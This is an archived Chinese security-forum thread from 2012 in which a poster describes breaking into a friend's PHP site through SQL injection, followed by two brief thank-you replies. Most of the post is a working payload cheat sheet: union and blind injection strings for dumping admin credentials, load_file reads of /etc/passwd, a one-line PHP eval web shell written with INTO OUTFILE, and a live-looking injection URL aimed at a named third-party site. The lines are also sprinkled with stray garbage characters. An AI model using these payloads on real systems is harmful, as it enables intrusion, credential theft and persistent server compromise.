找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2633|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~$ _( ~+ x& O9 T3 p' B8 h- |
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?. \! D& V7 y% y# a
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
8 b( N/ Z. |4 k" g- k$ m如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)( x& |6 Z7 V1 n& G0 ^. Z
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
5 B4 e9 J  n; k# T4 h这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
' C: i9 B" ^# f9 W+ a' T& {$ ?Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in6 I$ L' T! }* Y& x3 i5 d
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
6 n( \, T+ _4 t9 L                        
$ y+ S9 b5 m# v- O2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,9 A. I1 h$ [; k5 w* W4 w3 F1 N0 o
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
4 ^4 [7 W' V7 ^4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
+ c) U8 k  n3 E* E/ Z. M$ M5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
5 G! T% _9 h# F' n1 b% Q2 b有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,, T0 s7 j: d2 N; f4 O0 ~* _. V  Y
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。! r1 d, B5 O) ^2 x9 p. Q
我就用的是第二个思路,
+ `* }9 P* V/ v% u提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
. f# C2 @7 O' u9 D2 g  N6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
4 c0 ~* q, ]3 [- Y% X9 ^% @" A提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--8 r) P+ O6 {( F/ j# W$ B
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
6 c; n; @& h5 O4 w6 \0 v. U, n6 J4 g7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
3 T7 C1 e0 G& m! a. {  A6 `3 w是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
( x% b- W) t1 w8 S! a提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --+ G( N1 M5 E, `5 s
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
8 S# T# P4 ~9 H) n6 w) |% k% ]调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......- O: n: S' L4 U& z
下面是一些很普遍注入方式资料:6 ^0 c0 e" V6 j+ m3 S: A
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='2 L2 k# w- `! E/ u
拆半法
" w. T" N/ D* a######################################
  n; Y: f9 t7 L) U+ \6 rand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
( W" ^* d8 V, e& Q$ oand exists (select * from admin)' M% A0 |, h1 A) F' o
and exists(select id from admin)
& R9 w- ?% H" b3 i8 yand exists(select id from admin where id=1)
% n0 u: l+ z. G2 v6 p4 j2 M) [and exists(select id from admin where id>1)
7 n, s3 Q$ l* L% `! d- V$ s: W) N+ r( u然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
, x* c; @/ u8 q, U5 |and exists (select username from admin)
: q0 Z' B, l: T- Sand exists (select password from admin)/ `5 M5 Z4 H! b. v: f4 ?( c
and exists (select id from admin where len(username)<10 and id=1)6 _1 T* O$ T' i9 X' \& F5 Z0 l. J+ z
and exists (select id from admin where len(username)>5 and id=1)
( s( [9 m: D/ T; |* hand exists (select id from admin where len(username)=6 and id=1)  m/ r9 R! J/ D8 J8 @
and exists (select id from admin where len(password)<10 and id=1)3 O2 Z+ E/ x  n8 Q. L# B8 g7 z  Z
and exists (select id from admin where len(password)>5 and id=1)
, {/ W) y0 n& F+ Pand exists (select id from admin where len(password)=7 and id=1)
/ H# R/ t8 {7 }+ \0 X7 {and (select top 1 asc(mid(username,1,1)) from admin)=974 ?" H3 S" f$ N1 L
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
8 c6 [% D& @5 Y, N* |8 I" P% A猜第二位把username,1,1改成username,2,1就可以了。: u! `9 z% e  |, }1 `4 n" \/ h
猜密码把username改成password就OK了9 Q8 P0 e, Y- }, N3 Y% x4 L; y* V
##################################################
; _2 N' a; M. n2 K9 o搜索型注入
% p; [( |0 _/ M) f1 a' E3 R##################################
& h) F) k4 W. r+ [1 ?3 m" N( J%' and 1=1 and '%'='
1 v; ?5 L9 [' R7 ?& s$ y# T5 d%' and exists (select * from admin) and '%'='5 c; {6 Q( M/ E  X/ f: s) K2 |, |
%' and exists(select id from admin where id=1) and '%'='
2 ^3 J& s, W2 w: a1 l2 \2 w8 b%' and exists (select id from admin where len(username)<10 and id=1) and '%'='4 E' |+ h2 h" M
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
" e. e5 v. Q& ]$ n" E8 ], d9 a( w%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
# y0 i% m5 T+ ~  ], S* `% _2 I9 c2 [这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
+ A. ?! _+ g# p6 g5 {- {, O对于MSSQL数据库,后面可以吧 and '%'='换成--, M0 I# D. s% [* ~
还有一点搜索型注入也可以使用union语句。
4 T" Z6 `& ~, ~* P########################################################
5 `/ H% c- l/ B2 a9 z联合查询。
2 c! B6 Q7 s8 w& v#####################################" S7 Z9 D% L3 I) b
order by 10- R, N' a  l  T+ _6 h+ M
and 1=2 union select 1,2,3,4,5,6,7,8,9,10) s: e' L% p/ K- j  D& Q
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin1 z; w# d; S$ x" m, U6 Q
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
# T4 h' M: X6 W3 K! i很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
) R' Q. b- ^0 b###################################
5 z) B' {: g: ^8 H1 l& a& Mcookie注入( `+ h& x5 b5 D3 ?+ T9 O' {: I
###############################
& q% K" z' C& T, b. ]http://www.******.com/shownews.asp?id=127
# ]1 n: G* a# V( Y0 G/ Phttp://www.******.com/shownews.asp
9 g; h/ t% t; Q6 `alert(="id="+escape("127"));
& k; g) v) N! Ealert(="id="+escape("127 and 1=1"));5 s! F0 v/ y$ _( T7 K
alert(="id="+escape("127 order by 10"));
( b, p# o! L& c# }$ k6 valert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
9 ~# p2 Y6 F1 c" nalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
5 Y3 @$ u9 X8 n; U; E4 |这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。' c5 v( Y1 E9 U' a6 h) |
###################################
6 N1 e9 p, @* X  _偏移注入7 w1 l' S# s" }7 q6 z
###########################################################
. L' D4 O1 y  z9 m& i2 D7 s' [union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin" i) ?- L* C. W4 ?' J% v  z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
& }) R5 M# Z& A$ O3 Y+ ?% Hunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)) H9 i- p; x3 F5 n2 s
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
" J6 A2 s; @, q* ~, [! vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
6 ?0 S# |9 C0 |7 Nunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
: O( W; e8 Q' munion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
9 I& h7 V; k' Z3 |: N, {, M7 u+ ea.id=d.id). a" ~5 Q" D. j% ]$ I6 v
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
7 C# j9 _0 Q% P0 P* K& e& a) U& ?and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) # Q2 m7 L) k; g# L. O; c: ~
  
* b" N7 E. ?. |. k============================================================================================================
! v, K- Y* U8 s2 m# e1.判断版本
  G: x# D; O1 m3 e/ pand ord(mid(version(),1,1))>51
; _; h  s. ~$ `* g返回正常,说明大于4.0版本,支持ounion查询
! a5 f9 f3 I& [# t% E7 n2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解+ k( F! L( Q" j! J1 \
and 2=4 union select 1,2,3,4,5,6,7,8,9--- F! U3 U' _4 ~4 l
3.查看数据库版本及当前用户,+ V5 b4 B2 I6 j4 L. d
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--  [/ A$ o+ }' Y: U- R6 F  Q
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,* [. |% m  V9 `( E% j- G* O' A
4.判断有没有写权限5 ?  _3 C) u& ~7 a+ l
and (select count(*) from MySQL.user)>0-- ; U4 {' J; G% P- X
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1" {5 C; I8 v9 \- W* l* L
用不了这个命令,就学习土耳其黑客手法,如下" d' [  {1 f, e6 E* X4 ~- X
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--- x1 p- s4 I, M; A- E5 ~
6.爆表,爆库) Z* K& h( J) v
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
5 M( x- D% T* O7.爆列名,爆表
+ `/ q. W0 \8 r; [2 Zand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--/ B6 n7 M% ?$ a& T3 L
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
' B0 ~) q2 G0 h+ |% Yand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--4 B( q) p+ v" a* @" T
9.爆字段内容
/ O$ s, D6 g$ g4 j/ m2 `and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--) C. u/ N* o$ E2 a6 [
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表